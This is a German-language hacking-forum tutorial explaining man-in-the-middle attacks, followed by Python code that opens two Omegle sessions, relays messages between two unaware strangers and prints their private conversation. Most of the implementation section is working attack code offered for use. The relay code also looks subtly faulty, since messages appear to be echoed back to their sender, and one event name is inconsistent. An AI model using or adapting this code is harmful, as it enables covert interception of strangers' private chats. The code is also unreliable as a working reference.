[+]Topic: Tutorials
[+]Von: dav1d
[+]Return: Tutorials
### Omegle.com MITM ###
=======================
__author__ = 'dav1d'
__code_lang__ = 'python'
__license__ = 'MIT'
>1< __intro__
>2< __prinzip__
>3< __umsetzung__
>4< __outro__
>1< __intro__
In diesem Paper werde ich euch zeigen wie man eine Man-In-The-Middle Attack auf
http://omegle.com ausfuehrt.
Was brauchen wir:
* Python-Interpreter (recommended: 2.6)
Ich werde euch hier das Pronzip einer MITM-Attack zeigen, anhand von Omegle, es wird
funktioniere, doch erwartet nicht, dass euch das viel bringt. Am Ende des Papers seit
ihr im Stande eine Konversation auf http://omegle.com zu belauschen.
>2< __prinzip__
So sieht eine normale Verbindung zwischen 2 Clienten aus (z.B. Homenetzwerk):
________ ________
| | | |
| CLIENT |==========================| CLIENT |
|________| |________|
Kommen wir zur MITM-Attack:
________ ________
| | | |
| CLIENT |======\ /======| CLIENT |
|________| || ________ || |________|
|| | | ||
\==|ATTACKER|==/
|________|
In der 2. Grafik ist klar zu Erkennen, dass der ATTACKER den kompletten Netzwerkverkehr,
der 2 Clienten kontrollieren bzw. auslesen kann.
Es gibt mehrer Arten, wie so eine MITM-Attack ausgefuehrt werden kann (Wikipedia):
* Angreifer befindet sich im selben LAN wie der Angegriffene:
o Der Angreifer hat physikalischen Zugang zu den Datenleitungen.
o Im Ethernet modifiziert der Angreifer die ARP-Tabellen der Opfersysteme und leitet
dadurch den gesamten Datenverkehr durch sein System. Diese Methode ermoeglicht
auch das Abhoeren des Datenverkehrs an Switches, siehe ARP-Spoofing. Diese Verfahren
funktioniert immer dann, wenn der Angreifer und das Opfer im selben lokalen Netz sind.
Dies ist auch bei Kabelnetzanbietern und z. B. bei oeffentlichen WLAN-Hotspots gegeben.
o Der Angreifer hängt am selben Netzwerkbus wie das Opfer, wodurch ohnehin alle Pakete
auch bei ihm ankommen. Dies funktioniert allerdings nur noch bei Netzwerken
mit Busstruktur, wie z. B. Ethernet mit Hub oder 10BASE2.
o Eine weitere Angriffsmethode dieser Art ist das Vorspielen eines falschen DHCP-Servers.
Durch Angabe einer falschen Gateway-Adresse zum Internet kann die
Kommunikation durch einen Rechner des Angreifers geleitet werden.
* Nur fuer WLAN relevante Angriffe:
o Moeglich ist bei oeffentlichen WLAN-Hotspots das Vortäuschen eines falschen WLAN Access
Points durch Snarfing. Auch in diesem Fall leitet der falsche Access Point die Daten -
nach Auswertung und gegebenenfalls Manipulation - zum korrekten Access Point weiter.
* Weitere MITM-Angriffe:
o Der Angreifer hat Kontrolle ueber einen Router, durch den der Datenverkehr geschleust wird.
Dies funktioniert sowohl im WAN als auch im LAN und im WLAN.
o Durch DNS-Cache Poisoning gibt der Angreifer eine falsche Zieladresse fuer die
Internet-Kommunikation vor und leitet dadurch den Verkehr durch seinen eigenen Rechner
(Poison Routing).
o Durch Manipulation der host-Datei auf dem Rechner des Angegriffenen koennen trotz Eingabe
der echten URL gefälschte IP-Adressen aufgeloest werden. Simuliert der
Angreifer dann einen gueltigen Webserver, hat er gute Chancen,
als MITM unerkannt zu bleiben. Siehe dazu: Pharming
Mit was kann man MITM-Angriffe verhindern?:
* Verschluesselung der Datenpakete
* "Fingerprints" (SSH)
* SSL
Es gibt noch mehr Moeglichkeiten eine MITM-Attack zu verhinden und auch auszufuehren.
Wir werden eine Art des Poison Routing verwenden (siehe oben), bei uns wird das Opfer (CLIENT)
nicht auf eine falsche Zieladresse geleitet sondern, es wird ueber uns (ATTACKER) mit einem
anderen Opfer (CLIENT) verbunden:
__________ __________
| | | |
| CLIENT1 | | CLIENT2 |
|_____ ____| |_____ ____|
|SEND |RECV| |SEND |RECV|
|_||__|_/\_| |_\/__|_||_|
\/ || || /\
|| \==<==<==<==\ /==<==<==<==/ ||
\==>==>==>==>=\ || || /==>==>==>==>=/
_||__/\___\/__||_
| |
| OMEGLE-SERVER |
|_ __ ___ __ _|
|| /\ \/ ||
/==<==<==/ || || \==<==<==\
|| /==>==>==/ \==>==>==\ ||
|| || __________ || /\
\/ || | | || ||
|| \==<==<=|READ|==<===<=/ ||
|| | | /\
\/ | ATTACKER | ||
|| | | ||
\==>==>==>==|READ|==>==>==>===/
|__________|
Wie man sieht, wurde die Grafik um einen Server erweitert. D.h. wir sind 2mal mit dem Server
verbunden, der Server sendet uns 2mal Daten (von CLIENT1 und CLIENT2), wenn sie bei uns
angekommen sind, leiten sie wir weiter: CLIENT1(schreibt) => wir => CLIENT2(liest).
>3< __umsetzung__
Was brauchen wir:
* OmegelChat-Klasse, die die Events fuer uns handelt
* zwei Verbindung jeweils zum:
o Senden
o Empfangen
Es ist erstaunlich einfach, an die Daten von Omegle zu kommen und somit einen eigenen
Client zu schreiben, dazu habe ich ein Video vorbereitet .
In diesem Video zeige ich euch, wie man mit Wireshark an die Daten kommt, die Omegle
sendet.
Es gibt diese Events:
* waiting - Wir muessen noch auf einen Chat-Partner warten.
* connected - Wir haben einen Chat-Partner.
* typing - Unser Chat-Partner tippt gerade eine Nachricht.
* gotMessage - Er hat uns eine Nachricht gesendet.
* strangerDisconnected - Der Chat-Partner hat die Verbindung beendet.
Die Events kommen immer als JSON an:
------------------------------------------------------------------------------------
try:
import json
except ImportError:
import simplejson as json
------------------------------------------------------------------------------------
Ab Python 2.6 ist das json Modul in der Std-Bibliothek, Python < 2.6 muss simplejson
nach installiert werden .
Dann gibt es noch verschiedene URLs:
* http://omegle.com/start - Einen Chat beginnen
* http://omegle.com/disconnect - Verbindung trennen
* http://omegle.com/events - Von dort bekommen wir die Events (siehe oben)
* http://omegle.com/send - Eine Nachricht versenden
* http://omegle.com/typing - Dem Chatpartner anzeigen, dass wir gerade Tippen
Diese URLs muessen per POST aufgerufen werden:
* start: {}
* disconnect, events, typing: {'id': id}
* send: {'id': id, 'msg: message}
So jetzt kein drum-rum gerede mehr, hier der Code:
------------------------------------------------------------------------------------
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import threading
if sys.version_info[0] < 3:
from urllib2 import build_opener
from urllib import urlencode
else:
from urllib.request import build_opener
from urllib.parse import urlencode
try:
import json
except ImportError:
import simplejson as json
from time import sleep
# URLs
BASE_URL = 'http://omegle.com/'
START_URL = 'http://omegle.com/start'
DISCONNECT_URL = 'http://omegle.com/disconnect'
EVENT_URL = 'http://omegle.com/events'
SEND_URL = 'http://omegle.com/send'
TYPING_URL = 'http://omegle.com/typing'
def parse_event(evt):
events = json.loads(evt)
if events is None:
events = [[u'error', u'null']]
return events
class OmegleChat(threading.Thread):
def __init__(self, id, handler, interval=0.5):
threading.Thread.__init__(self)
self.id = id
self.handler = handler
self.interval = interval
self.listen = True
def run(self):
self.opener = build_opener()
self.opener.addheaders = [('User-agent', 'Mozilla/5.0')]
while self.listen:
r = self.opener.open(EVENT_URL, urlencode({'id' : self.id}))
raw_events = r.read()
events = parse_event(raw_events)
r.close()
for event in events:
if event[0] in self.handler:
self.handler[event[0]](self, event[1:])
sleep(self.interval)
def typing(self):
r = self.opener.open(TYPING_URL, urlencode({'id' : self.id}))
r.close()
def send(self, msg):
if isinstance(msg, unicode):
msg = msg.encode('utf-8')
r = self.opener.open(SEND_URL, urlencode({'id' : self.id,
'msg' : msg}))
r.close()
def disconnect(self):
self.listen = False
r = self.opener.open(DISCONNECT_URL, urlencode({'id' : self.id}))
r.close()
def stop(self):
self.disconnect()
def start(handler, interval=0.5):
omegle_chat = build_omegle_chat(handler, interval)
omegle_chat.start()
return omegle_chat
def build_omegle_chat(handler, interval=0.5):
opener = build_opener()
opener.addheaders = [('User-agent', 'Mozilla/5.0')]
r = opener.open(START_URL, '')
id = r.read().strip('"')
r.close()
omegle_chat = OmegleChat(id, handler, interval)
return omegle_chat
def build_id():
opener = build_opener()
opener.addheaders = [('User-agent', 'Mozilla/5.0')]
r = opener.open(START_URL, '')
id = r.read().strip('"')
r.close()
return id
------------------------------------------------------------------------------------
Die OmegleChat-Klasse erbt von threading.Thread d.h. man kann sie als Thread benutzen,
wenn man sie mit .start() aufruft (wie die Funktion start) oder als normale blockierende
Klasse, wenn man sie mit .run() aufruft.
"handler" muss ein Dictionary sein, welches aus event(key): handler_func(value) besteht
z.B.:
------------------------------------------------------------------------------------
handler = {'waiting' : waiting, 'connected' : connected,
'typing' : typing, 'gotMessage' : got_message,
'disconnected' : disconnected}
------------------------------------------------------------------------------------
So die Vorbereitungen sind abgeschlossen, jetzt gehts an die MITM-Attack.
Jetzt muessen wir uns nur noch 2mal mit dem Omegle-Server verbinden und ein paar
Datenstroeme umlenken (siehe >2< __prinzip__).
Den Code von oben in einer Datein namens pythomegle.py speichern. Die Datei muss im
selben Verzeichnis liegen, wie der Code:
------------------------------------------------------------------------------------
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import pythomegle
class ChatPartner(object):
def __init__(self, name, omegle_chat=None, partner=None):
self.name = name
self.omegle_chat = omegle_chat
self.partner = partner
def waiting(self, chat, data):
print 'Waiting for', self.name
def connected(self, chat, data):
print 'Connected to', self.name
def typing(self, chat, data):
#print self.name, 'is typing'
self.omegle_chat.typing()
def got_message(self, chat, data):
print self.name, data[0]
self.omegle_chat.send(data[0])
def stranger_disconnected(self, chat, data):
print self.name, 'left'
self.partner.omegle_chat.stop()
self.omegle_chat.stop()
def start(self):
self.omegle_chat.start()
def MITM_attack():
cp1 = ChatPartner('Stranger1')
handler1 = {'waiting' : cp1.waiting, 'connected' : cp1.connected,
'typing' : cp1.typing, 'gotMessage' : cp1.got_message,
'strangerDisconnected' : cp1.stranger_disconnected}
evtrecv1 = pythomegle.build_omegle_chat(handler1)
cp1.omegle_chat = evtrecv1
cp2 = ChatPartner('Stranger2')
handler2 = {'waiting' : cp2.waiting, 'connected' : cp2.connected,
'typing' : cp2.typing, 'gotMessage' : cp2.got_message,
'strangerDisconnected' : cp2.stranger_disconnected}
evtrecv2 = pythomegle.build_omegle_chat(handler2)
cp2.omegle_chat = evtrecv2
cp1.partner = cp2
cp2.partner = cp1
cp1.start()
cp2.start()
if __name__ == '__main__':
MITM_attack()
------------------------------------------------------------------------------------
Die Klasse ChatPartner handelt die alle Events und leitet sie ggf. weiter, an ihren "partner",
eine 2. ChatPartner-Klasse.
>4< __outro__
Das wars, ich hoffe ihr habt euch weiterbilden koennen....
============================================
### written /\ for: vxnet /\ from: dav1d ###
~> PS: The more they change, the more they stay the same <~